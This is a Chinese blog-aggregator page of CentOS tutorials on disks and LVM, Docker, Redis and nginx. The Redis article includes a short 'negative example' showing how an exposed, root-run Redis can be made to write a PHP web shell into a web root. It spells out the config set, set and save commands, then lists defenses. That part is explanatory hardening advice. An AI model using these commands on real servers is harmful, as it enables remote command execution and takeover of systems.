首页 文章 精选 留言 我的

精选列表

搜索[centos],共5623篇文章
优秀的个人博客,低调大师

Linux存储管理——磁盘管理、分区、Swap及逻辑卷管理【CentOS

我们存储管理默认在虚拟机上进行,操作按照虚拟机流程。 首先,添加磁盘 约添加20G,可添加多个磁盘,相当于给机器加磁盘,后续会用到。 在这里我先添加10G备用,后续用到继续添加: 管理磁盘流程:分区(MBR或者GPT) ---->格式化/文件系统 Filesystem ----> 挂载mount 首先查看磁盘: ll/dev/sd*查看磁盘 lsblk查看磁盘 分区: fdisk /dev/sdb 启动分区工具 n新建分区 回车p 到填写大小 填写+1G回车w保存 partprobe/dev/sdb刷新分区 fdisk-l/dev/sdb查看分区结果 m帮助 q退出 创建完分区 进行格式化 mkfs.ext4/dev/sdb1格式化sdb1分区 mkdir/mnt/disk1创建挂载点(每个分区独立挂载点) mount-text4/dev/sdb1/mnt/disk1挂载磁盘 挂载成功,我们来看一下 df-hT查看挂载信息 mount查看挂载信息及特殊属性 扩展分区 创建超过四个分区需先放弃一个主分区,采用3+N的方式 即扩展分区+逻辑分区 创建够3个之后(为什么是三个而不是4个,因为最大只能创建4个,所以第4个我们采取扩展延伸逻辑分区的方式,即 将扩展分区作为逻辑分区的磁盘】 fdisk /dev/sdb 创建扩展分区 n e 流程一样(格式换一下) fdisk /dev/sdb 创建逻辑分区 n l 流程一样 看下图,我们创建出了超过4个分区 交换分区管理Swap Swap作用:‘提升’ 内存的容量,防止OOM(Out Of Memory) free-m查看交换分区 Swap为2G 准备分区 fdisk/dev/sdc创建分区 partprobe/dev/sdc刷新分区 ll/dev/sdc*查看磁盘 mkswap/dev/sdc1格式化分区 swapon/dev/sdc1增加交换分区 最后查看交换分区,交换分区变大 增加了约1G容量 逻辑卷管理 LVM LVM是 Logical Volume Manager(逻辑卷管理) PV:物理卷(Physical volume):一块硬盘,或多块硬盘 VG:卷组(Volume Group):一堆磁盘的统称 LV:逻辑卷(Logical Volume):一个逻辑分区,一个分区 1.创建LVM pvcreate /dev/sde将物理磁盘,转换成物理卷-PV vgcreate vg1 /dev/sde创建卷组-VG lvcreate -L 200M -n lv1 vg1 创建逻辑卷 -L大小 -n卷名 vg1组名 mkfs.ext4 /dev/vg1/lv1 创建文件系统/格式化【/dev/卷组名/逻辑卷名】 mkdir /mnt/lv1 创建挂载点 mount /dev/vg1/lv1 /mnt/lv1 挂载 敲完格式化和挂载,查看挂载成功 2.VG管理 pvcreate /dev/sdd 创建PV vgextend vg1 /dev/sdd 扩展VG 3.LV扩容 vgs 查看VG空间 lvextend -L +200M /dev/vg1/lv1 扩容LV df -Th 观察文件系统当前容量 resize2fs /dev/vg1/lv1 观察df -hT 的分区大小、对比大小已经发生改变

优秀的个人博客,低调大师

CentOS7 上安装新版 Docker CE(使用国内源)

卸载老版本 $ sudo yum remove docker \ docker-client \ docker-client-latest \ docker-common \ docker-latest \ docker-latest-logrotate \ docker-logrotate \ docker-engine 如果曾经安装过,/var/lib/docker/中会有原来的镜像、容器、卷以及网络残留,如果不需要可将之一并删除。 安装 Docker CE 安装 Docker 国内源 安装 yum 配置管理工具 $ sudo yum install -y yum-utils \ device-mapper-persistent-data \ lvm2 安装清华大学的 Docker 安装源(本网站有效,该命令就有效) $ sudo yum-config-manager \ --add-repo \ https://mydream.ink/utils/container/docker-ce.repo 你可能会遇到如下问题: adding repo from: https://mydream.ink/utils/container/docker-ce.repo grabbing file https://mydream.ink/utils/container/docker-ce.repo to /etc/yum.repos.d/docker-ce.repo Could not fetch/save url https://mydream.ink/utils/container/docker-ce.repo to file /etc/yum.repos.d/docker-ce.repo: [Errno 14] curl#60 - "Peer's Certificate has expired." 出现该问题一般是由于本地时间不正确(经常挂起的虚拟机很容易出现),使用date命令核对一下时间即可,若确认是这个问题,则: $ sudo ntpdate pool.ntp.org # ntpdate 可使用 yum install ntpdate 进行安装 安装 Docker CE 安装最新版的 Docker CE $ sudo yum install docker-ce docker-ce-cli containerd.io 如果弹出导入 Key 的问题,请接受 镜像加速 新建或修改`/etc/docker/daemon.json`,加入: { "registry-mirrors": [ "https://dockerhub.azk8s.cn", "https://reg-mirror.qiniu.com" ] } 一定要确保格式没有问题,否则 docker 无法启动,修改完成后执行以下命令: $ sudo systemctl daemon-reload 启动 Docker $ sudo systemctl start docker 卸载 Docker CE 卸载安装包 $ sudo yum remove docker-ce 如果你觉得曾经的数据没用了,就一并删除吧 $ sudo rm -rf /var/lib/docker 更多优质博文,请访问: https://mydream.ink

优秀的个人博客,低调大师

CentOS6.9源码编译安装redis和php-redis扩展

1.创建并进入源码保存目录,下载源码包,解压 mkdir -p /usr/local/src cd /usr/local/src wget -c http://download.redis.io/releases/redis-4.0.10.tar.gz tar -zxvf redis-4.0.10.tar.gz cd redis-4.0.10 2.编译,安装 #安装依赖 yum -y install gcc gcc-c++ make MALLOC=libc make PREFIX=/usr/local/redis install 3.配置 #创建配置文件目录 mkdir -p /usr/local/redis/etc/ #将源码目录下的redis.conf复制到etc cp /usr/local/src/redis-4.0.10/redis.conf /usr/local/redis/etc/ #修改redis.conf vim /usr/local/redis/etc/redis.conf daemonize yes #redis以守护进程的方式运行 #配置环境变量 vim /etc/profile PATH=$PATH:/usr/local/redis/bin export PATH #立即生效 source /etc/profile 4.设置开机启动 #将redis的启动脚本复制一份放到/etc/init.d目录下 cp /usr/local/src/redis-4.0.10/utils/redis_init_script /etc/init.d/redisd #创建/etc/redis目录,复制redis.conf mkdir -p /etc/redis cp /usr/local/redis/etc/redis.conf /etc/redis/6379.conf #进入/etc/init.d cd /etc/init.d #修改启动脚本 vim redisd #修改服务的位置 EXEC=/usr/local/redis/bin/redis-server #修改命令行工具的位置 CLIEXEC=/usr/local/redis/bin/redis-cli #开机启动 chkconfig redisd on 5.启动redisd [root@jmsite init.d]# service redisd start Starting Redis server... 118991:C 21 Dec 08:39:46.508 # oO0OoO0OoO0Oo Redis is starting oO0OoO0OoO0Oo 118991:C 21 Dec 08:39:46.509 # Redis version=4.0.10, bits=64, commit=00000000, modified=0, pid=118991, just started 118991:C 21 Dec 08:39:46.509 # Configuration loaded 6.安装php-redis扩展 进入源码保存目录,下载,解压 cd /usr/local/src wget -c http://pecl.php.net/get/redis-4.2.0.tgz tar -zxvf redis-4.2.0.tgz cd redis-4.2.0 生成configure文件 /usr/local/php72/bin/phpize #这是我的phpize的位置 配置,编译,安装 ./configure --with-php-config=/usr/local/php72/bin/php-config make -j4 make install 将redis扩展加入php.ini echo "extension=redis.so" >> /usr/local/php72/etc/php.ini 重启php,查看phpinfo(); 原文地址:https://www.jmsite.cn/blog-232.html

优秀的个人博客,低调大师

CentOS服务器下nginx防盗链介绍与配置

一、防盗链介绍 1.什么是防盗链 简单的说,就是某些不法的网站,通过在其自身网站程序里为经许可非法调用其他网站资源然后在自己的网站上显示这些调用的资源,达到了填充自身网站显示的效果,但是浪费了调用资源网站的网站流量,造成其他网站的带宽及服务压力吃紧,甚至宕机。 二、配置防盗链 1.配置三个个站点 [root@lnmp ~]# cd /application/nginx/ [root@lnmp nginx]# cat conf/nginx.conf worker_processes 1; events { worker_connections 1024; use epoll; } http { server_tokens off; include mime.types; default_type application/octet-stream; sendfile on; keepalive_timeout 65; server { listen 80; server_name www.liang.com; root html/www; index index.php index.html index.htm; location ~ \.php$ { root html/www; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi.conf; } } server { listen 80; server_name bbs.liang.com; location / { root html/bbs; index index.html index.htm; } } server { listen 80; server_name blog.liang.com; location / { root html/blog; index index.html index.htm; } } } 2.测试是否能访问 [root@lnmp nginx]# curl www.liang.com/index.html https://blog.csdn.net/liang_operations/ [root@lnmp nginx]# curl bbs.liang.com bbs [root@lnmp nginx]# curl blog.liang.com blog 3.模仿环境配置 3.1www.liang.com为被盗 [root@lnmp nginx]# mkdir html/www/ima [root@lnmp nginx]# rz rz waiting to receive. zmodem trl+C ȡ 100% 277 KB 277 KB/s 00:00:01 0 Errors [root@lnmp nginx]# mv timg.jpg html/www/ima/ 3.2bbs.liang.com盗取www的链接 [root@lnmp nginx]# cat html/bbs/index.html <img src="http://www.liang.com/ima/timg.jpg"> 3.3访问测试 4.www配置防盗 [root@lnmp nginx]#vi conf/nginx.conf server { listen 80; server_name www.liang.com; root html/www; index index.php index.html index.htm; location ~ \.php$ { root html/www; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /scripts$fastcgi_script_name; include fastcgi.conf; } location ~* \.(gif|jpg|png|swf|flv|bmp)$ { valid_referers none blocked www.liang.com; if ($invalid_referer) { rewrite ^/ http://blog.liang.com/ima/b.jpg; } } } ###### 代码详解: 第一行: location ~* \.(gif|jpg|png|swf|flv|bmp)$ 其中“gif|jpg|png|swf|flv|bmp”设置防盗链文件类型,自行修改,每个后缀用“|”符号分开! 第二行: valid_referers none blocked www.liang.com; 就是白名单,允许文件链出的域名白名单,自行修改成您的域名! 可以使用子域名,域名与域名之间使用空格隔开! 第五行:rewrite ^/ http://blog.liang.com/ima/b.jpg; 这个图片是盗链返回的图片,也就是替换盗链网站所有盗链的图片。这个图片要放在没有设置防盗链的网站上,因为防盗链的作用,这个图片如果也放在防盗链网站上就会被当作防盗链显示不出来了,盗链者的网站所盗链图片会显示X符号。 这样设置差不多就可以起到防盗链作用了。 5.配置blog [root@lnmp nginx]# ll html/blog/ima/ total 12 -rw-r--r--. 1 root root 11988 Aug 9 2018 b.jpg 6.网页测试

优秀的个人博客,低调大师

Centos yum 安装软件是出现 except OSError, e: ^ SyntaxError: invalid syntax

错误原因: 系统中装有多个版本的Python,Python脚本运行的时候版本冲突。 解决办法:(以下两步都要执行,这里假设你的python2.7指向python2,如果不是就要针对性的进行修改,反正就yum依赖与python2.7只要指向它就可以了) 1. vi /usr/bin/yum 把#! /usr/bin/python修改为#! /usr/bin/python2 2. vi /usr/libexec/urlgrabber-ext-down 将/usr/bin/python改为/usr/bin/python2 这样就解决问题了,这种问题一般都是安装了python3后修改了连接导致指向python版本有问题,所以安装python3是要注意修改这些问题。

优秀的个人博客,低调大师

CentOS7.X安装Redis-4.0.8以及Redis集群搭建

安装redis 安装前的准备 yum install \ vim \ wget \ make \ gcc \ gcc-c++ \ automake \ autoconf \ -y \ 下载解压并安装 cd /root wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar -zxzf redis-4.0.8.tar.gz cd redis-4.0.8 make PREFIX=/usr/local/redis/ install 创建配置中要求的数据文件存储位置 mkdir /data mkdir /data/redis mkdir /usr/local/redis/log 添加修改配置文件参考配置 cp ./redis.conf /usr/local/redis vim /usr/local/redis/redis.conf # IP绑定 bind 127.0.0.1 192.168.0.111 # 保护模式(开启条件为各redis之间可以互相通信,做集群不可开启) protected-mode yes # 访问端口 port 6379 # 连接超时,单位S,0为不启用超时 timeout 0 # 以守护进程运行 daemonize yes # 数据文件路径 dir /data/redis # 进程ID文件的路径 pidfile /usr/local/redis/log/redis.pid # 日志文件路径 logfile /usr/local/redis/log/redis.log # 开启键过期删除通知 notify-keyspace-events Ex ESC :wq # 以下安全配置选项仅作参考 # 禁用部分危险命令 rename-command FLUSHALL "" rename-command CONFIG "" rename-command EVAL "" # 添加访问密码 requirepass ******** # IP绑定本机 bind 127.0.0.1 性能优化 # 编辑/etc/rc.local vim /etc/rc.local echo never > /sys/kernel/mm/transparent_hugepage/enabled ESC :wq # 添加/etc/rc.local执行权限 chmod +x /etc/rc.d/rc.local # 编辑/etc/sysctl.conf vim /etc/sysctl.conf vm.overcommit_memory = 1 net.core.somaxconn = 1024 ESC :wq # 立即解决 echo never > /sys/kernel/mm/transparent_hugepage/enabled echo 1024 > /proc/sys/net/core/somaxconn sysctl vm.overcommit_memory=1 sysctl -p 修改目录归属 useradd -s /sbin/nologin -M redis chown -R redis:redis /data/redis chown -R redis:redis /usr/local/redis 启动redis并设置开机启动 # 进入单元文件目录 cd /etc/systemd/system # 创建redis单元文件,格式为: [单元文件名].[单元文件类型] vim redis.service [Unit] Description=Start redis on boot. After=default.target network.target [Service] User=redis Group=redis Type=forking PIDFile=/usr/local/redis/log/redis.pid ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf ExecReload=/bin/kill -s HUP $MAINPID ExecStop=/bin/kill -s QUIT $MAINPID PrivateTmp=false Restart=always [Install] WantedBy=multi-user.target ESC :wq # 修改文件权限为只有root用户可以编辑该文件 chown -R root:root /etc/systemd/system/redis.service chmod -R 644 /etc/systemd/system/redis.service # 更新systemd systemctl daemon-reload systemctl enable redis systemctl start redis 存入数据 /usr/local/redis/bin/redis-cli -h 127.0.0.1 set num 123 save get num quit 批量删除匹配规则数据 redis-cli keys [匹配规则]|xargs redis-cli del Redis宕机 aof文件损坏 启动失败 拷贝aof文件 修复坏损的aof文件 redis-check-aof --fix [aof文件名] 重新启动Redis Redis漏洞webshell的利用 参考链接 Redis该漏洞用到的原理如下 redis原生支持通过'redis-cli>config set'在不重启redis服务的情况下,动态修改配置dir、dbfilename; redis的配置中如果指定'dir /www/'和'dbfilename test.php',则当执行save命令时,会在/www/目录下生成一个数据存储文件test.php,虽然该文 件是一个二进制文件,但其内容中包含保存的数据的值,如果/www/目录为web目录,则/www/test.php则会被人利用,成为入侵你服务器的入口; 漏洞举例(这是一个负面教材) redis以超级管理员用户root运行 Nginx以超级管理员用户root启动,子进程也以root运行 web服务器为nginx,并做如下配置: server { listen x; server_name xxx.xxx.com; root /www; location / { index index.php index.html index.htm; } location ~ \.php$ { fastcgi_index index.php; fastcgi_pass 127.0.0.1:9000; fastcgi_param SCRIPT_NAME $fastcgi_script_name; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; include fastcgi_params; } } 通过redis-cli执行了以下命令 config set dir /www/ config set dbfilename test.php set test "<?php exec($_GET['cmd']); ?>" save 这时候可怕的事情出现了 在/www/目录下,存在test.php文件,它可以通过http://xxx.xxx.com/test.php访问到 如果现在访问http://xxx.xxx.com/test.php?cmd=xxx,那么xxx就会被以root用户执行(xxx为任意linux命令) Redis漏洞webshell的防范 不要线上使用redis的web管理工具 redis以低权限用户运行(如rediser等让人想不到的用户名) redis仅允许通过本机和内网访问(bind 127.0.0.1 192.168.0.12/24) redis禁用config命令(在配置文件中可以禁用rename-command CONFIG "") web服务子进程以低权限用户运行(因为webshell的运行用户为web服务的子进程) redis集群(cluster方式) 集群前的配置(单机两服务测试6379,6380) # 内网IP:192.168.0.100 修改redis.conf vim /usr/local/redis/redis.conf # 启用cluster cluster-enabled yes # 调用cluster配置文件 cluster-config-file nodes-6379.conf # 集群超时 cluster-node-timeout 15000 # 关闭宕机全停 cluster-require-full-coverage no # 集群从属元素个数 cluster-slave-validity-factor 10 # 从机数最低迁移值(master至少有两台slave,才能做slave迁移) cluster-migration-barrier 1 ESC :wq 配置文件添加 yum install ruby gem install redis cp /usr/local/redis/redis.conf /usr/local/redis/redis.conf.backup cp /usr/local/redis/redis.conf /usr/local/redis/redis-6379.conf cp /usr/local/redis/redis.conf /usr/local/redis/redis-6380.conf mkdir /usr/local/redis/data/6379 mkdir /usr/local/redis/data/6380 修改redis-6379.conf vim /usr/local/redis/redis-6379.conf unixsocket /usr/local/redis/data/6379/redis.sock pidfile /usr/local/redis/log/redis_6379.pid logfile /usr/local/redis/log/redis_6379.log dir /usr/local/redis/data/6379/ bind 192.168.0.100 port 6379 ESC :wq 修改redis-6380.conf vim /usr/local/redis/redis-6380.conf unixsocket /usr/local/redis/data/6380/redis.sock pidfile /usr/local/redis/log/redis_6380.pid logfile "/usr/local/redis/log/redis_6380.log" dir /usr/local/redis/data/6380/ bind 192.168.0.100 port 6380 ESC :wq 修改开机启动 vim /etc/rc.local /usr/local/redis/bin/redis-server /usr/local/redis/redis-6379.conf /usr/local/redis/bin/redis-server /usr/local/redis/redis-6380.conf ESC :wq 创建cluster cd /root/redis/src/ # 查看帮助 ./redis-trib.rb help # 添加绑定 ./redis-trib.rb create --replicas 1 192.168.0.100:6379 192.168.0.100:6380 集群测试 /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 -c 正常关闭(不要强制关闭) /usr/local/redis/bin/redis-cli -h 192.168.0.100 -p 6379 shutdown 领支付宝红包支持作者

优秀的个人博客,低调大师

CentOS服务器下nginx服务器多域名配置

Nginx强大的正则表达式支持,可以使server_name的配置变得很灵活,如果你要做多用户博客,那么每个用户拥有自己的二级域名也就很容易实现了。 下面我就来说说server_name的使用吧: server_name的匹配顺序 Nginx中的server_name指令主要用于配置基于名称虚拟主机,server_name指令在接到请求后的匹配顺序分别为: 1、准确的server_name匹配,例如: server { listen 80 ; server_name ssdr.info www.ssdr.info; ... } 2、以*通配符开始的字符串: server { listen 80 ; server_name *.ssdr.info; ... } 3、以*通配符结束的字符串: server { listen 80 ; server_name www.*; ... } 4、匹配正则表达式: server { listen 80 ; server_name ~^(?.+)\.howtocn\.org$; ... } Nginx将按照1,2,3,4的顺序对server name进行匹配,只有有一项匹配以后就会停止搜索,所以我们在使用这个指令的时候一定要分清楚它的匹配顺序(类似于location指令)。 server_name指令一项很实用的功能便是可以在使用正则表达式的捕获功能,这样可以尽量精简配置文件,毕竟太长的配置文件日常维护也很不方便。下面是2个具体的应用: 在一个server块中配置多个站点: server { listen 80 ; server_name ~^(www\.)?(.+)$; index index.php index.html; root /data/wwwsite/$ 2 ; } 站点的主目录应该类似于这样的结构: /data/wwwsite/ssdr.info /data/wwwsite/linuxtone.org /data/wwwsite/baidu.com /data/wwwsite/google.com 这样就可以只使用一个server块来完成多个站点的配置。 在一个server块中为一个站点配置多个二级域名 。 实际网站目录结构中我们通常会为站点的二级域名独立创建一个目录,同样我们可以使用正则的捕获来实现在一个server块中配置多个二级域名: server { listen 80 ; server_name ~^(.+)?\.howtocn\.org$; index index.html; if ($host = ssdr.info){ rewrite ^ http: //www.ssdr.info permanent; } root /data/wwwsite/ssdr.info/$ 1 /; } 站点的目录结构应该如下: /data/wwwsite/ssdr.info/www/ /data/wwwsite/ssdr.info/nginx/ 这样访问www.ssdr.info时root目录为/data/wwwsite/ssdr.info/www/,nginx.ssdr.info时为/data/wwwsite/ssdr.info/nginx/,以此类推。 后面if语句的作用是将ssdr.info的方位重定向到www.ssdr.info,这样既解决了网站的主目录访问,又可以增加seo中对www.ssdr.info的域名权重。 多个正则表达式 如果你在server_name中用了正则,而下面的location字段又使用了正则匹配,这样将无法使用$1,$2这样的引用,解决方法是通过set指令将其赋值给一个命名的变量: server { listen 80 ; server_name ~^(.+)?\.howtocn\.org$; set $www_root $ 1 ; root /data/wwwsite/ssdr.info/$www_root/; location ~ .*\.php?$ { fastcgi_pass 127.0 . 0.1 : 9000 ; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /data/wwwsite/ssdr.info/$fastcgi_script_name; include fastcgi_params; } } Nginx不同域名反向代理到另一台服务器 proxy_pass和$host 想让一个VPS专门做另一个VPS的前端,后端VPS每添加一个域名,前端VPS就要同时添加一个域名来反向代理,作为前端的VPS如果一个一个的添加后端VPS的域名,那么这个事情特别麻烦,能不能让其自动反向代理后端VPS呢,用到proxy_pass和$host就可以轻松实现。 以下例子为了省事,以lnmp为安装环境进行设置 修改前端VPS的nginx.conf文件,修改成以下内容: server { listen 80 ; server_name $host; location / { proxy_pass http: //www.31.gd/; proxy_set_header Host $host; proxy_redirect off; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_connect_timeout 60 ; proxy_read_timeout 600 ; proxy_send_timeout 600 ; } 下面的一并修改吧。 location /.(php|php5)?$ { fastcgi_pass unix:/tmp/php-cgi.sock; fastcgi_index index.php; include fcgi.conf; } location /status { stub_status on; access_log off; } location /.(gif|jpg|jpeg|png|bmp|swf)$ { expires 30d; } location /.(js|css)?$ { expires 12h; } 这样就可以实现了前端VPS可以反向代理任意域名到后端VPS,只要将域名解析到前端VPS,后端VPS进行域名绑定,那么就可以直接访问到了 一台nginx带多个域名多个tomcat情况的配置 多个域名,其中2个域名需支持泛域名解析: 1、www.abc.com 2、www.bcd.com 3、*.efg.com 4、*.hij.com 其中1,2,3为一台tomcat,4为独立tomcat。前端一台nginx,通过配置多个虚拟主机来实现该部署。 进入/etc/nginx/conf.d目录,所有虚拟主机的配置文件都在该目录下存放,配置。 配置支持泛域名 # # A virtual host using mix of IP-, name-, and port-based configuration # server { listen 81 ; server_name *.efg.com; location / { proxy_pass http: //localhost:8080; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } # # A virtual host using mix of IP-, name-, and port-based configuration # server { listen 81 ; server_name *.hij.com; location / { proxy_pass http: //localhost:8081; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } } 泛域名解析关键为红色部分,如果没有红色部分,后端8080及8081口对应的tomcat虚拟主机将无法获得域名信息,导致后端tomcat无法获取到对应的域名信息。 后端TOMCAT支持泛域名解析时,需要设置 host name 为 localhost 以支持泛域名指向。 Nginx 多域名配置 nginx绑定多个域名可又把多个域名规则写一个配置文件里,也可又分别建立多个域名配置文件,我一般为了管理方便,每个域名建一个文件,有些同类域名也可又写在一个总的配置文件里。 一、每个域名一个文件的写法 首先打开 nginx域名配置文件存放目录:/usr/local/nginx/conf/servers ,如要绑定域名www.web126.com 则在此目录建一个文件:www.web126.com.conf 然后在此文件中写规则,如: server { listen 80 ; server_name www.web126.com; #绑定域名 index index.htm index.html index.php; #默认文件 root /home/www/web126.com; #网站根目录 include location.conf; #调用其他规则,也可去除 } 然后重起nginx服务器,域名就绑定成功了。 Nginx服务器重起命令:/etc/init.d/nginx restart。 二、一个文件多个域名的写法 一个文件添加多个域名的规则也是一样,只要把上面单个域名重复写下来就ok了,如: server { listen 80 ; server_name www.web126.com; #绑定域名 index index.htm index.html index.php; #默认文件 root /home/www/web126.com; #网站根目录 include location.conf; #调用其他规则,也可去除 } server { listen 80 ; server_name msn.web126.com; #绑定域名 index index.htm index.html index.php; #默认文件 root /home/www/msn.web126.com; #网站根目录 include location.conf; #调用其他规则,也可去除 } 三、不带www的域名加301跳转 如果不带www的域名要加301跳转,那也是和绑定域名一样,先绑定不带www的域名,只是不用写网站目录,而是进行301跳转,如: server { listen 80 ; server_name web126.com; rewrite ^/(.*) http: //www.web126.com/$1 permanent; } 四、添加404网页 添加404网页,都可又直接在里面添加,如: server { listen 80 ; server_name www.web126.com; #绑定域名 index index.htm index.html index.php; #默认文件 root /home/www/web126.com; #网站根目录 include location.conf; #调用其他规则,也可去除 error_page 404 / 404 .html; } 最后还有一个方法需要注意,可能有需要禁止IP直接访问80端口或者禁止非本站的域名绑定我们的IP,这样的话应该 如下处理,放到最前一个server上面即可: server{ listen 80 default ; server_name _; return 403 ; } 学会上面四种规则方法,基本就可以自己独立解决nginx 多域名配置问题了。

资源下载

更多资源
腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Nacos

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称,一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集,帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux

Rocky Linux(中文名:洛基)是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版,作为CentOS稳定版停止维护后与RHEL(Red Hat Enterprise Linux)完全兼容的开源替代方案,由社区拥有并管理,支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性,采用模块化包装和SELinux安全架构,默认包含GNOME桌面环境及XFS文件系统,支持十年生命周期更新。

用户登录
用户注册